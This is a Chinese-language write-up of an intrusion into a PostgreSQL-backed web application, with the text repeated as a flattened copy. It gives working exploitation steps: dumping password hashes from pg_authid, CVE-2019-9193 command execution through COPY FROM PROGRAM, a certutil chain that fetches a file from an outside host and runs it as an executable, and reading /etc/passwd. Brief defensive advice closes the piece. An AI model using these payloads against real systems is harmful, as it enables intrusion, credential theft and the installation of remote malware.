记一次pgsql数据库漏洞利用
字数 988 2025-08-03 16:47:44

PostgreSQL数据库漏洞利用实战教学

0x01 前言

本教学文档将详细记录一次PostgreSQL数据库漏洞利用的全过程,重点分析技术细节和利用方法。PostgreSQL作为企业级开源数据库系统,在9.3及以上版本存在多个可利用漏洞。

0x02 注入点发现与确认

初始信息收集

  1. 使用nmap扫描目标端口,发现开放HTTP服务
  2. 访问Web应用,发现存在自动填充的账号密码可直接登录后台

SQL注入确认

  1. 抓包分析发现SQL语句明文出现在POST参数中
  2. 初步测试SQL注入:
    select * from information_schema.SCHEMATA
    
  3. 通过返回结果中的"postgres"字样确认数据库类型为PostgreSQL

数据库版本确认

  1. 使用以下查询获取PostgreSQL数据目录:
    select setting from pg_settings where name = 'data_directory';
    
  2. 通过数据目录路径可推断系统版本和PostgreSQL版本

0x03 PostgreSQL漏洞利用技术

基础信息收集

  1. 获取当前数据库用户:
    select user;
    
  2. 查询用户密码(MD5加密):
    SELECT rolname,rolpassword FROM pg_authid;
    

命令执行漏洞(CVE-2019-9193)

  1. 利用COPY FROM PROGRAM功能执行系统命令:
    DROP TABLE IF EXISTS cmd_exec;
    CREATE TABLE cmd_exec(cmd_output text);
    COPY cmd_exec FROM PROGRAM 'whoami';
    SELECT * FROM cmd_exec;
    

编码问题处理

  1. 发现中文回显导致的问题:
    • 直接执行含中文输出的命令会导致PostgreSQL报错
    • 尝试修改编码(chcp 65001)但效果有限
  2. 解决方案:
    • 在每条命令前添加编码修改:chcp 65001 & command

文件系统探测

  1. 使用dir命令探测目录结构:
    COPY cmd_exec FROM PROGRAM 'dir c:\';
    
  2. 注意路径反斜杠转义问题:
    • Windows路径中的反斜杠可能被当作转义字符过滤
    • 可尝试使用正斜杠或双反斜杠

0x04 无回显命令执行技术

批处理脚本技术

  1. 创建无回显批处理脚本:
    COPY cmd_exec FROM PROGRAM 'echo @echo off\ncertutil.exe -urlcache -split -f http://xx.xxx.xxxx/xxx.txt output.txt ^>null >test.bat';
    
  2. 关键点:
    • 使用@echo off隐藏命令执行
    • 使用>null重定向输出避免回显问题
    • 注意特殊字符(如>)需要转义

文件下载与执行

  1. 分步执行流程:
    -- 生成bat文件
    COPY cmd_exec FROM PROGRAM 'echo @echo off\ncertutil.exe -urlcache -split -f http://xx.xxx.xxxx/xxx.txt output.txt ^>null >test.bat';
    
    -- 执行bat文件
    COPY cmd_exec FROM PROGRAM '.\test.bat';
    
    -- 重命名文件
    COPY cmd_exec FROM PROGRAM 'ren output.txt output.exe';
    
    -- 执行最终payload
    COPY cmd_exec FROM PROGRAM '.\output.exe';
    

0x05 注意事项与防御建议

攻击注意事项

  1. 中文系统编码问题可能导致命令执行失败
  2. 路径探测时注意权限限制
  3. 前后端分离架构可能需要调整攻击策略

防御建议

  1. 修复CVE-2019-9193漏洞:
    • 升级PostgreSQL到最新版本
    • 限制COPY FROM PROGRAM权限
  2. 防止SQL注入:
    • 使用参数化查询
    • 避免SQL语句明文传输
  3. 系统加固:
    • 限制数据库用户权限
    • 监控异常数据库操作

附录:常用PostgreSQL漏洞利用命令

  1. 列出数据库:
    SELECT datname FROM pg_database;
    
  2. 列出表:
    SELECT table_name FROM information_schema.tables WHERE table_schema='public';
    
  3. 列出列:
    SELECT column_name FROM information_schema.columns WHERE table_name='tablename';
    
  4. 文件读取(需超级用户权限):
    CREATE TABLE temp(t text);
    COPY temp FROM '/etc/passwd';
    SELECT * FROM temp;
    
PostgreSQL数据库漏洞利用实战教学 0x01 前言 本教学文档将详细记录一次PostgreSQL数据库漏洞利用的全过程,重点分析技术细节和利用方法。PostgreSQL作为企业级开源数据库系统,在9.3及以上版本存在多个可利用漏洞。 0x02 注入点发现与确认 初始信息收集 使用nmap扫描目标端口,发现开放HTTP服务 访问Web应用,发现存在自动填充的账号密码可直接登录后台 SQL注入确认 抓包分析发现SQL语句明文出现在POST参数中 初步测试SQL注入: 通过返回结果中的"postgres"字样确认数据库类型为PostgreSQL 数据库版本确认 使用以下查询获取PostgreSQL数据目录: 通过数据目录路径可推断系统版本和PostgreSQL版本 0x03 PostgreSQL漏洞利用技术 基础信息收集 获取当前数据库用户: 查询用户密码(MD5加密): 命令执行漏洞(CVE-2019-9193) 利用COPY FROM PROGRAM功能执行系统命令: 编码问题处理 发现中文回显导致的问题: 直接执行含中文输出的命令会导致PostgreSQL报错 尝试修改编码(chcp 65001)但效果有限 解决方案: 在每条命令前添加编码修改: chcp 65001 & command 文件系统探测 使用dir命令探测目录结构: 注意路径反斜杠转义问题: Windows路径中的反斜杠可能被当作转义字符过滤 可尝试使用正斜杠或双反斜杠 0x04 无回显命令执行技术 批处理脚本技术 创建无回显批处理脚本: 关键点: 使用 @echo off 隐藏命令执行 使用 >null 重定向输出避免回显问题 注意特殊字符(如>)需要转义 文件下载与执行 分步执行流程: 0x05 注意事项与防御建议 攻击注意事项 中文系统编码问题可能导致命令执行失败 路径探测时注意权限限制 前后端分离架构可能需要调整攻击策略 防御建议 修复CVE-2019-9193漏洞: 升级PostgreSQL到最新版本 限制COPY FROM PROGRAM权限 防止SQL注入: 使用参数化查询 避免SQL语句明文传输 系统加固: 限制数据库用户权限 监控异常数据库操作 附录:常用PostgreSQL漏洞利用命令 列出数据库: 列出表: 列出列: 文件读取(需超级用户权限):